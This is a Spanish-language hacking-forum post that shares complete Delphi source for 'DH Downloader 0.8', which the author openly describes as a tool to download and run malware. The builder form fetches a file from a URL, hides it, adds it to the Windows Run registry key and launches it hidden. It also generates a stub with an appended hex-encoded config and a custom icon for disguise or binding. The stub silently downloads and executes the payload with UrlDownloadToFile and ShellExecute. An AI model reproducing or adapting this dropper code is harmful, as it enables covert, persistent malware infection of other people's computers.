elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Sigue las noticias más importantes de seguridad informática en el Twitter! de elhacker.NET


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  [Delphi] DH Downloader 0.8
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [Delphi] DH Downloader 0.8  (Leído 1,857 veces)
BigBear


Desconectado Desconectado

Mensajes: 545



Ver Perfil
[Delphi] DH Downloader 0.8
« en: 29 Mayo 2014, 22:53 pm »

Version final de este programa para bajar y ejecutar malware , tiene dos formas de usarse la primera es teniendo el programa en un USB y bajar discretamente malware desde una url para despues ocultarle u otras cosas , la otra forma de usarla es generando una especie de "worm" que va a bajar el malware desde una url especifica , este "worm" puede ser usado tranquilamente en un binder o por separado para usarlo sin ningun problema.
 
Una imagen :



Un video con un ejemplo de uso :



Los codigos :

El USB Mode :

Código
  1. // DH Downloader 0.8
  2. // (C) Doddy Hackman 2014
  3.  
  4. unit dh;
  5.  
  6. interface
  7.  
  8. uses
  9.  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  10.  System.Classes, Vcl.Graphics,
  11.  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.ComCtrls, Vcl.StdCtrls,
  12.  Vcl.ExtCtrls,
  13.  Vcl.Imaging.pngimage, IdBaseComponent, IdComponent, IdTCPConnection,
  14.  IdTCPClient, IdHTTP, Registry, ShellApi, MadRes;
  15.  
  16. type
  17.  TForm1 = class(TForm)
  18.    PageControl1: TPageControl;
  19.    TabSheet1: TTabSheet;
  20.    TabSheet2: TTabSheet;
  21.    TabSheet3: TTabSheet;
  22.    GroupBox1: TGroupBox;
  23.    PageControl2: TPageControl;
  24.    TabSheet4: TTabSheet;
  25.    TabSheet5: TTabSheet;
  26.    GroupBox2: TGroupBox;
  27.    Button1: TButton;
  28.    StatusBar1: TStatusBar;
  29.    GroupBox3: TGroupBox;
  30.    Edit1: TEdit;
  31.    GroupBox4: TGroupBox;
  32.    CheckBox1: TCheckBox;
  33.    Edit2: TEdit;
  34.    CheckBox2: TCheckBox;
  35.    Edit3: TEdit;
  36.    TabSheet6: TTabSheet;
  37.    GroupBox5: TGroupBox;
  38.    RadioButton1: TRadioButton;
  39.    RadioButton2: TRadioButton;
  40.    CheckBox3: TCheckBox;
  41.    CheckBox4: TCheckBox;
  42.    CheckBox5: TCheckBox;
  43.    GroupBox6: TGroupBox;
  44.    PageControl3: TPageControl;
  45.    TabSheet7: TTabSheet;
  46.    TabSheet8: TTabSheet;
  47.    TabSheet9: TTabSheet;
  48.    GroupBox7: TGroupBox;
  49.    Edit4: TEdit;
  50.    GroupBox8: TGroupBox;
  51.    Edit5: TEdit;
  52.    GroupBox9: TGroupBox;
  53.    RadioButton3: TRadioButton;
  54.    RadioButton4: TRadioButton;
  55.    TabSheet10: TTabSheet;
  56.    GroupBox10: TGroupBox;
  57.    GroupBox11: TGroupBox;
  58.    Button2: TButton;
  59.    Edit6: TEdit;
  60.    GroupBox12: TGroupBox;
  61.    GroupBox13: TGroupBox;
  62.    ComboBox1: TComboBox;
  63.    GroupBox14: TGroupBox;
  64.    CheckBox6: TCheckBox;
  65.    GroupBox15: TGroupBox;
  66.    Image2: TImage;
  67.    Memo1: TMemo;
  68.    Image3: TImage;
  69.    GroupBox16: TGroupBox;
  70.    Button3: TButton;
  71.    ProgressBar1: TProgressBar;
  72.    IdHTTP1: TIdHTTP;
  73.    OpenDialog1: TOpenDialog;
  74.    GroupBox17: TGroupBox;
  75.    Image1: TImage;
  76.    procedure FormCreate(Sender: TObject);
  77.    procedure Button1Click(Sender: TObject);
  78.    procedure Button2Click(Sender: TObject);
  79.    procedure Button3Click(Sender: TObject);
  80.    procedure Edit5DblClick(Sender: TObject);
  81.  private
  82.    { Private declarations }
  83.  public
  84.    { Public declarations }
  85.  end;
  86.  
  87. var
  88.  Form1: TForm1;
  89.  
  90. implementation
  91.  
  92. {$R *.dfm}
  93. // Functions
  94.  
  95. function dhencode(texto, opcion: string): string;
  96. // Thanks to Taqyon
  97. // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
  98. var
  99.  num: integer;
  100.  aca: string;
  101.  cantidad: integer;
  102.  
  103. begin
  104.  
  105.  num := 0;
  106.  Result := '';
  107.  aca := '';
  108.  cantidad := 0;
  109.  
  110.  if (opcion = 'encode') then
  111.  begin
  112.    cantidad := length(texto);
  113.    for num := 1 to cantidad do
  114.    begin
  115.      aca := IntToHex(ord(texto[num]), 2);
  116.      Result := Result + aca;
  117.    end;
  118.  end;
  119.  
  120.  if (opcion = 'decode') then
  121.  begin
  122.    cantidad := length(texto);
  123.    for num := 1 to cantidad div 2 do
  124.    begin
  125.      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
  126.      Result := Result + aca;
  127.    end;
  128.  end;
  129.  
  130. end;
  131.  
  132. function getfilename(archivo: string): string;
  133. var
  134.  test: TStrings;
  135. begin
  136.  
  137.  test := TStringList.Create;
  138.  test.Delimiter := '/';
  139.  test.DelimitedText := archivo;
  140.  Result := test[test.Count - 1];
  141.  
  142.  test.Free;
  143.  
  144. end;
  145.  
  146. //
  147.  
  148. procedure TForm1.Button1Click(Sender: TObject);
  149. var
  150.  filename: string;
  151.  nombrefinal: string;
  152.  addnow: TRegistry;
  153.  archivobajado: TFileStream;
  154.  
  155. begin
  156.  
  157.  if not CheckBox1.Checked then
  158.  begin
  159.    filename := Edit1.Text;
  160.    nombrefinal := getfilename(filename);
  161.  end
  162.  else
  163.  begin
  164.    nombrefinal := Edit2.Text;
  165.  end;
  166.  
  167.  archivobajado := TFileStream.Create(nombrefinal, fmCreate);
  168.  
  169.  try
  170.    begin
  171.      DeleteFile(nombrefinal);
  172.      IdHTTP1.Get(Edit1.Text, archivobajado);
  173.      StatusBar1.Panels[0].Text := '[+] File Dowloaded';
  174.      StatusBar1.Update;
  175.      archivobajado.Free;
  176.    end;
  177.  except
  178.    StatusBar1.Panels[0].Text := '[-] Failed download';
  179.    StatusBar1.Update;
  180.    archivobajado.Free;
  181.    Abort;
  182.  end;
  183.  
  184.  if FileExists(nombrefinal) then
  185.  begin
  186.  
  187.    if CheckBox2.Checked then
  188.    begin
  189.      if not DirectoryExists(Edit3.Text) then
  190.      begin
  191.        CreateDir(Edit3.Text);
  192.      end;
  193.      MoveFile(Pchar(nombrefinal), Pchar(Edit3.Text + '/' + nombrefinal));
  194.      StatusBar1.Panels[0].Text := '[+] File Moved';
  195.      StatusBar1.Update;
  196.    end;
  197.  
  198.    if CheckBox3.Checked then
  199.    begin
  200.      SetFileAttributes(Pchar(Edit3.Text), FILE_ATTRIBUTE_HIDDEN);
  201.      if CheckBox2.Checked then
  202.      begin
  203.        SetFileAttributes(Pchar(Edit3.Text + '/' + nombrefinal),
  204.          FILE_ATTRIBUTE_HIDDEN);
  205.  
  206.        StatusBar1.Panels[0].Text := '[+] File Hidden';
  207.        StatusBar1.Update;
  208.      end
  209.      else
  210.      begin
  211.        SetFileAttributes(Pchar(nombrefinal), FILE_ATTRIBUTE_HIDDEN);
  212.        StatusBar1.Panels[0].Text := '[+] File Hidden';
  213.        StatusBar1.Update;
  214.      end;
  215.    end;
  216.  
  217.    if CheckBox4.Checked then
  218.    begin
  219.  
  220.      addnow := TRegistry.Create;
  221.      addnow.RootKey := HKEY_LOCAL_MACHINE;
  222.      addnow.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', FALSE);
  223.  
  224.      if CheckBox2.Checked then
  225.      begin
  226.        addnow.WriteString('uber', Edit3.Text + '/' + nombrefinal);
  227.      end
  228.      else
  229.      begin
  230.        addnow.WriteString('uber', ExtractFilePath(Application.ExeName) + '/' +
  231.          nombrefinal);
  232.      end;
  233.  
  234.      StatusBar1.Panels[0].Text := '[+] Registry Updated';
  235.      StatusBar1.Update;
  236.  
  237.      addnow.Free;
  238.  
  239.    end;
  240.  
  241.    if CheckBox5.Checked then
  242.    begin
  243.  
  244.      if RadioButton1.Checked then
  245.      begin
  246.        if CheckBox2.Checked then
  247.        begin
  248.          ShellExecute(Handle, 'open', Pchar(Edit3.Text + '/' + nombrefinal),
  249.            nil, nil, SW_SHOWNORMAL);
  250.        end
  251.        else
  252.        begin
  253.          ShellExecute(Handle, 'open', Pchar(nombrefinal), nil, nil,
  254.            SW_SHOWNORMAL);
  255.        end;
  256.      end
  257.      else
  258.      begin
  259.        if CheckBox2.Checked then
  260.        begin
  261.          ShellExecute(Handle, 'open', Pchar(Edit3.Text + '/' + nombrefinal),
  262.            nil, nil, SW_HIDE);
  263.        end
  264.        else
  265.        begin
  266.          ShellExecute(Handle, 'open', Pchar(nombrefinal), nil, nil, SW_HIDE);
  267.        end;
  268.      end;
  269.  
  270.    end;
  271.  
  272.    if CheckBox1.Checked or CheckBox2.Checked or CheckBox3.Checked or
  273.      CheckBox4.Checked or CheckBox5.Checked then
  274.    begin
  275.      StatusBar1.Panels[0].Text := '[+] Finished';
  276.      StatusBar1.Update;
  277.    end;
  278.  
  279.  end;
  280.  
  281. end;
  282.  
  283. procedure TForm1.Button2Click(Sender: TObject);
  284. begin
  285.  
  286.  if OpenDialog1.Execute then
  287.  begin
  288.    Image1.Picture.LoadFromFile(OpenDialog1.filename);
  289.    Edit6.Text := OpenDialog1.filename;
  290.  end;
  291.  
  292. end;
  293.  
  294. procedure TForm1.Button3Click(Sender: TObject);
  295. var
  296.  linea: string;
  297.  aca: THandle;
  298.  code: Array [0 .. 9999 + 1] of Char;
  299.  nose: DWORD;
  300.  marca_uno: string;
  301.  marca_dos: string;
  302.  url: string;
  303.  opcionocultar: string;
  304.  savein: string;
  305.  lineafinal: string;
  306.  stubgenerado: string;
  307.  tipodecarga: string;
  308.  change: DWORD;
  309.  valor: string;
  310.  
  311. begin
  312.  
  313.  url := Edit4.Text;
  314.  stubgenerado := 'tiny_down.exe';
  315.  
  316.  if (RadioButton4.Checked = True) then
  317.  begin
  318.    tipodecarga := '1';
  319.  end
  320.  else
  321.  begin
  322.    tipodecarga := '0';
  323.  end;
  324.  
  325.  if (CheckBox6.Checked = True) then
  326.  begin
  327.    opcionocultar := '1';
  328.  end
  329.  else
  330.  begin
  331.    opcionocultar := '0';
  332.  end;
  333.  
  334.  if (ComboBox1.Items[ComboBox1.ItemIndex] = '') then
  335.  begin
  336.    savein := 'USERPROFILE';
  337.  end
  338.  else
  339.  begin
  340.    savein := ComboBox1.Items[ComboBox1.ItemIndex];
  341.  end;
  342.  
  343.  lineafinal := '[link]' + url + '[link]' + '[opcion]' + opcionocultar +
  344.    '[opcion]' + '[path]' + savein + '[path]' + '[name]' + Edit5.Text + '[name]'
  345.    + '[carga]' + tipodecarga + '[carga]';
  346.  
  347.  marca_uno := '[63686175]' + dhencode(lineafinal, 'encode') + '[63686175]';
  348.  
  349.  aca := INVALID_HANDLE_VALUE;
  350.  nose := 0;
  351.  
  352.  DeleteFile(stubgenerado);
  353.  CopyFile(Pchar(ExtractFilePath(Application.ExeName) + '/' +
  354.    'Data/stub_down.exe'), Pchar(ExtractFilePath(Application.ExeName) + '/' +
  355.    stubgenerado), True);
  356.  
  357.  linea := marca_uno;
  358.  StrCopy(code, Pchar(linea));
  359.  aca := CreateFile(Pchar(stubgenerado), GENERIC_WRITE, FILE_SHARE_READ, nil,
  360.    OPEN_EXISTING, 0, 0);
  361.  if (aca <> INVALID_HANDLE_VALUE) then
  362.  begin
  363.    SetFilePointer(aca, 0, nil, FILE_END);
  364.    WriteFile(aca, code, 9999, nose, nil);
  365.    CloseHandle(aca);
  366.  end;
  367.  
  368.  //
  369.  
  370.  if not(Edit6.Text = '') then
  371.  begin
  372.    try
  373.      begin
  374.  
  375.        valor := IntToStr(128);
  376.  
  377.        change := BeginUpdateResourceW
  378.          (PWideChar(wideString(ExtractFilePath(Application.ExeName) + '/' +
  379.          stubgenerado)), FALSE);
  380.        LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0,
  381.          PWideChar(wideString(Edit6.Text)));
  382.        EndUpdateResourceW(change, FALSE);
  383.        StatusBar1.Panels[0].Text := '[+] Done ';
  384.        StatusBar1.Update;
  385.      end;
  386.    except
  387.      begin
  388.        StatusBar1.Panels[0].Text := '[-] Error';
  389.        StatusBar1.Update;
  390.      end;
  391.    end;
  392.  end
  393.  else
  394.  begin
  395.    StatusBar1.Panels[0].Text := '[+] Done ';
  396.    StatusBar1.Update;
  397.  end;
  398.  
  399.  //
  400.  
  401. end;
  402.  
  403. procedure TForm1.Edit5DblClick(Sender: TObject);
  404. begin
  405.  
  406.  if not(Edit4.Text = '') then
  407.  begin
  408.    Edit5.Text := getfilename(Edit4.Text);
  409.  end;
  410.  
  411. end;
  412.  
  413. procedure TForm1.FormCreate(Sender: TObject);
  414. begin
  415.  ProgressBar1.Position := 0;
  416.  
  417.  OpenDialog1.InitialDir := GetCurrentDir;
  418.  OpenDialog1.Filter := 'ICO|*.ico|';
  419.  
  420. end;
  421.  
  422. end.
  423.  
  424. // The End ?
  425.  

El stub :

Código
  1. // DH Downloader 0.8
  2. // (C) Doddy Hackman 2014
  3.  
  4. // Stub
  5.  
  6. program stub_down;
  7.  
  8. // {$APPTYPE CONSOLE}
  9.  
  10. uses
  11.  SysUtils, Windows, URLMon, ShellApi;
  12.  
  13. // Functions
  14.  
  15. function regex(text: String; deaca: String; hastaaca: String): String;
  16. begin
  17.  Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
  18.  SetLength(text, AnsiPos(hastaaca, text) - 1);
  19.  Result := text;
  20. end;
  21.  
  22. function dhencode(texto, opcion: string): string;
  23. // Thanks to Taqyon
  24. // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
  25. var
  26.  num: integer;
  27.  aca: string;
  28.  cantidad: integer;
  29.  
  30. begin
  31.  
  32.  num := 0;
  33.  Result := '';
  34.  aca := '';
  35.  cantidad := 0;
  36.  
  37.  if (opcion = 'encode') then
  38.  begin
  39.    cantidad := Length(texto);
  40.    for num := 1 to cantidad do
  41.    begin
  42.      aca := IntToHex(ord(texto[num]), 2);
  43.      Result := Result + aca;
  44.    end;
  45.  end;
  46.  
  47.  if (opcion = 'decode') then
  48.  begin
  49.    cantidad := Length(texto);
  50.    for num := 1 to cantidad div 2 do
  51.    begin
  52.      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
  53.      Result := Result + aca;
  54.    end;
  55.  end;
  56.  
  57. end;
  58.  
  59. //
  60.  
  61. var
  62.  ob: THandle;
  63.  code: Array [0 .. 9999 + 1] of Char;
  64.  nose: DWORD;
  65.  link: string;
  66.  todo: string;
  67.  opcion: string;
  68.  path: string;
  69.  nombre: string;
  70.  rutafinal: string;
  71.  tipodecarga: string;
  72.  
  73. begin
  74.  
  75.  try
  76.  
  77.    ob := INVALID_HANDLE_VALUE;
  78.    code := '';
  79.  
  80.    ob := CreateFile(pchar(paramstr(0)), GENERIC_READ, FILE_SHARE_READ, nil,
  81.      OPEN_EXISTING, 0, 0);
  82.    if (ob <> INVALID_HANDLE_VALUE) then
  83.    begin
  84.      SetFilePointer(ob, -9999, nil, FILE_END);
  85.      ReadFile(ob, code, 9999, nose, nil);
  86.      CloseHandle(ob);
  87.    end;
  88.  
  89.    todo := regex(code, '[63686175]', '[63686175]');
  90.    todo := dhencode(todo, 'decode');
  91.  
  92.    link := regex(todo, '[link]', '[link]');
  93.    opcion := regex(todo, '[opcion]', '[opcion]');
  94.    path := regex(todo, '[path]', '[path]');
  95.    nombre := regex(todo, '[name]', '[name]');
  96.    tipodecarga := regex(todo, '[carga]', '[carga]');
  97.  
  98.    rutafinal := GetEnvironmentVariable(path) + '/' + nombre;
  99.  
  100.    try
  101.  
  102.      begin
  103.        UrlDownloadToFile(nil, pchar(link), pchar(rutafinal), 0, nil);
  104.  
  105.        if (FileExists(rutafinal)) then
  106.        begin
  107.  
  108.          if (opcion = '1') then
  109.          begin
  110.            SetFileAttributes(pchar(rutafinal), FILE_ATTRIBUTE_HIDDEN);
  111.          end;
  112.  
  113.          if (tipodecarga = '1') then
  114.          begin
  115.            ShellExecute(0, 'open', pchar(rutafinal), nil, nil, SW_HIDE);
  116.          end
  117.          else
  118.          begin
  119.            ShellExecute(0, 'open', pchar(rutafinal), nil, nil, SW_SHOWNORMAL);
  120.          end;
  121.        end;
  122.  
  123.      end;
  124.    except
  125.      //
  126.    end;
  127.  
  128.  except
  129.    //
  130.  end;
  131.  
  132. end.
  133.  
  134. // The End ?
  135.  

Si lo quieren bajar lo pueden hacer de aca.


En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Downloader!!!!
Programación Visual Basic
digitalice 3 1,852 Último mensaje 14 Marzo 2006, 15:25 pm
por Kizar
[Descarga] CodeGear RAD Studio - Delphi 2007 + Delphi for PHP « 1 2 3 »
Software
GroK 26 25,390 Último mensaje 14 Mayo 2014, 17:51 pm
por sebaseok
[Delphi] DH Downloader 0.5
Programación General
BigBear 0 1,583 Último mensaje 18 Noviembre 2013, 14:59 pm
por BigBear
[Delphi] DH Downloader 2.0
Programación General
BigBear 1 1,571 Último mensaje 1 Noviembre 2016, 20:35 pm
por Borito30
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines